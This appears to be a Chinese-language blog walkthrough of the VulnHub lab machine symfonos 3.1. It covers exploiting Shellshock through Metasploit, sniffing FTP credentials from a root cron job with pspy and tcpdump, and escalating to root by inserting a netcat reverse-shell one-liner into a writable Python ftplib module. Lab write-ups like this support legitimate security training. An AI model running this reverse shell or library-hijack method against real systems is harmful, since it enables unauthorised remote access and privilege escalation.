標(biāo)簽:shellshock破殼、CVE-2014-6271、嗅探ftp數(shù)據(jù)包、python提權(quán)

0x00 環(huán)境準(zhǔn)備
下載地址:https://www.vulnhub.com/entry/symfonos-31,332/
flag數(shù)量:1
攻擊機(jī):kali
攻擊機(jī)地址:192.168.1.31
靶機(jī)描述:
Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you're welcome to contact me via Twitter @zayotic
## Changelog v3.1 - 2020-04-07 v3.0 - 2019-07-20
0x01 信息搜集
1.探測(cè)靶機(jī)地址
命令:arp-scan -l

靶機(jī)地址是192.168.1.43
2.探測(cè)靶機(jī)開(kāi)放端口
命令:nmap -sV -p- 192.168.1.43

看一下80端口

就是一張圖片,由于這次沒(méi)有smb服務(wù)了,再看看80端口上還有沒(méi)有其他信息。
按F12看一下源碼

發(fā)現(xiàn)有一句注釋,翻譯過(guò)來(lái)大概是“你能破獲地下世界嗎?”。感覺(jué)是要掃描目錄。
3.目錄掃描
先用dirb掃描一下,命令:dirb http://192.168.1.43

發(fā)現(xiàn)了一些目錄,訪問(wèn)一下看看,發(fā)現(xiàn)http://192.168.1.43/gate/可以正常訪問(wèn)

再爆破一下gate下的目錄,但是沒(méi)有爆破出來(lái)什么。
嘗試使用dirbuster工具進(jìn)行爆破

掃描出一堆/cdi-bin/下的目錄

打開(kāi)幾個(gè)看一下

發(fā)現(xiàn)打開(kāi)的幾個(gè)頁(yè)面都是這樣的,只是時(shí)間不同。這個(gè)像是uptime命令的輸出結(jié)果。

去看了一下表哥的文章,發(fā)現(xiàn)這里存在shellshock漏洞。
0x02 shellshock漏洞getshell
CVE編號(hào):CVE-2014-6271
漏洞成因:
Bash 4.3以及之前的版本在處理某些構(gòu)造的環(huán)境變量時(shí)存在安全漏洞,向環(huán)境變量值內(nèi)的函數(shù)定義后添加多余的字符串會(huì)觸發(fā)此漏洞,攻擊者可利用此漏洞改變或繞過(guò)環(huán)境限制,以執(zhí)行任意的shell命令,甚至完全控制目標(biāo)系統(tǒng)
受到該漏洞影響的bash使用的環(huán)境變量是通過(guò)函數(shù)名稱來(lái)調(diào)用的,以“(){”開(kāi)頭通過(guò)環(huán)境變量來(lái)定義的。而在處理這樣的“函數(shù)環(huán)境變量”的時(shí)候,并沒(méi)有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令
影響版本:

關(guān)于該漏洞的其他詳細(xì)信息可看https://www.freebuf.com/articles/system/45390.html
在msf中找找看有沒(méi)有利用工具。
打開(kāi)msf,查找shellshock利用模塊,命令:search shellshock

由于靶機(jī)使用的是apache,這里選擇使用exploit/multi/http/apache_mod_cgi_bash_env_exec模塊,命令:use exploit/multi/http/apache_mod_cgi_bash_env_exec

設(shè)置參數(shù):

利用成功:

0x03 嗅探ftp數(shù)據(jù)包
這個(gè)靶機(jī)的提權(quán)有點(diǎn)CTF的味道,我參考的表哥的文章進(jìn)行提權(quán)。以下內(nèi)容都是參考表哥的文章。
下載pspy工具https://github.com/DominicBreuker/pspy,進(jìn)行嗅探。
pspy是一種命令行工具,旨在無(wú)需root權(quán)限即可監(jiān)聽(tīng)進(jìn)程。它使您可以查看其他用戶執(zhí)行的命令,cron作業(yè)等。非常適合枚舉CTF中的Linux系統(tǒng)。很好地向您的同事展示為什么在命令行中將秘密作為參數(shù)傳遞是一個(gè)壞主意。
該工具從procfs掃描中收集信息。放置在文件系統(tǒng)選定部分上的Inotify觀察程序?qū)⒂|發(fā)這些掃描,以捕獲短暫的進(jìn)程。
使用python切換到shell環(huán)境,輸入uname -a查看機(jī)器是64位的,那就下載64位的pspy

切換到/tmp目錄進(jìn)行下載,命令:wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
然后給pspy64執(zhí)行權(quán)限chmod 777 pspy64,輸入命令:./pspy64 -pf -c -i 1000

在這里發(fā)現(xiàn)ftpclient.py正在運(yùn)行,而且UID=0,說(shuō)明正在以root的身份運(yùn)行

ftp協(xié)議是明文傳輸?shù)?/strong>,如果能抓到ftp的包,那就可以得到賬號(hào)密碼了。那么使用什么工具抓包呢?比較常用的是tcpdump,查看靶機(jī)上是否安裝了tcpdump,命令:tcpdump --version

靶機(jī)上已經(jīng)安裝了tcpdump,那就使用它來(lái)抓包。
查看靶機(jī)上有哪些網(wǎng)絡(luò)接口

tcpdump一般抓取loopback狀態(tài)的接口,這里抓取lo接口,命令:tcpdump -i lo -w ftp.pcap


將ftp.pcap下載到kali上使用wireshark進(jìn)行分析。
在靶機(jī)上開(kāi)啟臨時(shí)http服務(wù)

在kali上下載

使用wirewhark打開(kāi),輸入tcp.port==21篩選,在下面符合條件的數(shù)據(jù)包中找一條,右鍵“追蹤流”

然后就能看到賬號(hào)密碼了。

賬號(hào)密碼:hades \ PTpZTfU4vxgzvRBE
0x04 提權(quán)
使用剛才拿到的ftp賬號(hào)嘗試登錄ssh,

登錄成功
剛才使用pspy工具的時(shí)候發(fā)現(xiàn),ftpclient.py是以root身份運(yùn)行的,如果hades用戶具有對(duì)ftpclient.py腳本的寫入權(quán)限,那么就可以提權(quán)。

很遺憾hades用戶組只有讀權(quán)限沒(méi)有寫權(quán)限,看一下ftpclient.py的代碼吧

使用命令查找一下hades對(duì)哪些文件有寫權(quán)限吧,命令:find / -writable -type d 2>/dev/null

誒,在里面發(fā)現(xiàn)我們對(duì)python2.7目錄下的文件有寫權(quán)限。剛才我們查看了ftpclient.py文件,其中會(huì)import ftplib模塊,如果我們可以修改ftplib模塊,在ftpclien.py文件運(yùn)行的時(shí)候,就會(huì)執(zhí)行我們修改后的代碼,那么就可以反彈shell了。
使用nano工具進(jìn)行編輯,命令:nano ftplib.py

將反彈shell語(yǔ)句插入進(jìn)去,語(yǔ)句:import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.xxx.xxxx 7777 >/tmp/f')
然后保存退出

在kali上監(jiān)聽(tīng)7777端口,等待反彈

大約等了2分鐘,接收到了,身份是root
flag在/root目錄下

0x05 小結(jié)
靶機(jī)從破殼漏洞開(kāi)始,使用msf拿到shell,之后使用pspy工具發(fā)現(xiàn)ftp軟件正在運(yùn)行,由于ftp是明文傳輸?shù)模栽趂tp的數(shù)據(jù)包中可以看到賬號(hào)密碼,然后使用tcpdump工具抓包,發(fā)現(xiàn)了ftp的賬號(hào)密碼。巧合的是SSH服務(wù)使用的賬號(hào)密碼和FTP服務(wù)是同一個(gè),所以可以使用FTP服務(wù)登錄SSH服務(wù),之后通過(guò)向ftplib.py文件中追加命令進(jìn)行提權(quán)。
由于我不會(huì)每天都登錄簡(jiǎn)書,所以有什么私信或者評(píng)論我都不能及時(shí)回復(fù),如果想要聯(lián)系我最好給我發(fā)郵件,郵箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果發(fā)郵件請(qǐng)備注“簡(jiǎn)書”
參考鏈接:
1.vulnhub - /symfonos-3 (考點(diǎn):shellshock & tcpdump /cap & linux修改py提權(quán))
2.『VulnHub系列』symfonos: 3-Walkthrough
3.tcpdump抓包使用小結(jié)
4.破殼(ShellShock)漏洞樣本分析報(bào)告
5.CVE-2014-6271破殼(shellshock)漏洞復(fù)現(xiàn)記錄
6.https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html